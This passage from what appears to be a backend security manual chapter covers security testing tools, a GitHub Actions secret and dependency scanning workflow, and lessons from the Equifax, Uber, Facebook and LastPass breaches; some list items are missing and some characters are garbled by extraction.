Rate limiting Send 100+ login attempts, check if blocked curl loop, k6

Burp Suite โ€” The Standard Tool

Burp Suite Community Edition (free) is a proxy that sits between your browser and your backend, letting you intercept, modify, and replay every request. It's the most widely used tool for manual pentesting.

PortSwigger Web Security Academy โ€” Free Lab-Based Learning

The best free resource for hands-on security practice. Every vulnerability has:

Start with: SQL Injection โ†’ XSS โ†’ IDOR (BOLA) โ†’ Authentication vulnerabilities โ†’ Access Control. Each module takes 1โ€“3 hours and teaches you more than reading theory alone ever could.

The mindset shift that matters most: stop thinking "will users do this?" and start thinking "what's the worst possible input I could receive here, and what happens if I do?" Write that as a test case. Run it in CI.

Automated Security Testing in CI/CD

GitHub Actions โ€” Security scan on every PRname: Security Scan
on: [pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }  # full history for secret scanning

      # Scan for hardcoded secrets in entire git history
      - name: Gitleaks
        uses: gitleaks/gitleaks-action@v2

      # Static analysis for Go security issues
      - name: Gosec
        uses: securego/gosec@master
        with:
          args: ./...

      # Dependency vulnerability check
      - name: Nancy (Go deps)
        run: |
          go list -json -m all | nancy sleuth
19

Real Incident Case Studies

Theory lands harder when you see what it cost real companies. These are four of the most instructive security breaches โ€” each one directly caused by a vulnerability covered in this chapter.

โ‘  Equifax (2017) โ€” SQL Injection / Unpatched Dependency

147 million people's SSNs, birth dates, addresses, and credit card numbers stolen. Equifax paid ~$700 million in settlements.

What happened: Attackers exploited a known vulnerability (CVE-2017-5638) in Apache Struts โ€” a Java web framework Equifax used. The vulnerability allowed attackers to execute arbitrary OS commands via a specially crafted HTTP header. A patch had been available for two months before the breach. Equifax had not applied it.

What was missed:

Lesson: Keep dependencies updated. Run automated CVE scans (dependabot, snyk, nancy) on every build. Apply critical security patches within 24โ€“72 hours.

โ‘ก Uber (2022) โ€” Secrets in Code + Social Engineering

Attacker gained access to Uber's internal systems, Slack workspace, AWS, GCP, HackerOne bug reports, and source code. No data was sold โ€” but the access was total.

What happened: An 18-year-old attacker used MFA fatigue (bombarding an Uber contractor with push notifications until they accepted one) to gain initial access. They then found a PowerShell script on an internal network share that contained hardcoded admin credentials for Uber's Privileged Access Management (PAM) tool. With those credentials, they had access to virtually everything.

What was missed:

Lesson: Secrets belong in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler) โ€” never in scripts, config files, or chat messages. Use phishing-resistant MFA (hardware keys) for admin access. Apply least-privilege everywhere.

โ‘ข Facebook (2018) โ€” Broken Authorization (Access Token Theft)

50 million user access tokens stolen due to a bug in the "View As" feature. Attackers could log in as any of those 50 million users.

What happened: The "View As" feature let users see their profile as another user would see it. A bug in this feature caused it to incorrectly generate a video uploader component with a live access token โ€” belonging to the user being viewed, not the viewer. Three compounding bugs created this flaw:

  1. Video uploader was incorrectly shown in "View As" mode.
  2. The uploader generated an access token for the wrong user (the viewed user, not the viewer).
  3. The access token had full account permissions instead of limited scope.

Lesson: Authorization is hard to test manually at scale. The BOLA principle applies: verify ownership at every data access point. Use short-lived, minimally-scoped tokens. Build automated tests specifically for authorization boundaries.

โ‘ฃ LastPass (2022) โ€” Developer Machine Compromise โ†’ Production Data

Attackers stole encrypted password vaults of all LastPass customers. Ongoing brute-force attacks on weak master passwords may continue to decrypt vaults for years.

What happened: Attackers first compromised a DevOps engineer's home computer by exploiting a vulnerable media software package (Plex). That machine had access to the LastPass cloud backup environment. Through that single developer machine, attackers exfiltrated:

What was missed:

Lesson: The supply chain is part of your attack surface. A developer's home laptop is part of your security perimeter. Segment production access. Monitor for anomalous data exfiltration. Use hardware security keys for production access.

Common Thread Across All Four

Equifax Assumption: "we'll patch it later" Uber Assumption: "this script is internal" Facebook Assumption: "auth checked at routing" LastPass Assumption: "dev laptop is outside perimeter"
Fig C โ€” Every breach traces to an assumption that turned out to be wrong. Security is assumption management.
20

References & Further Reading


Backend Field Manual ยท Backend Security ยท Chapter 17 (Extended)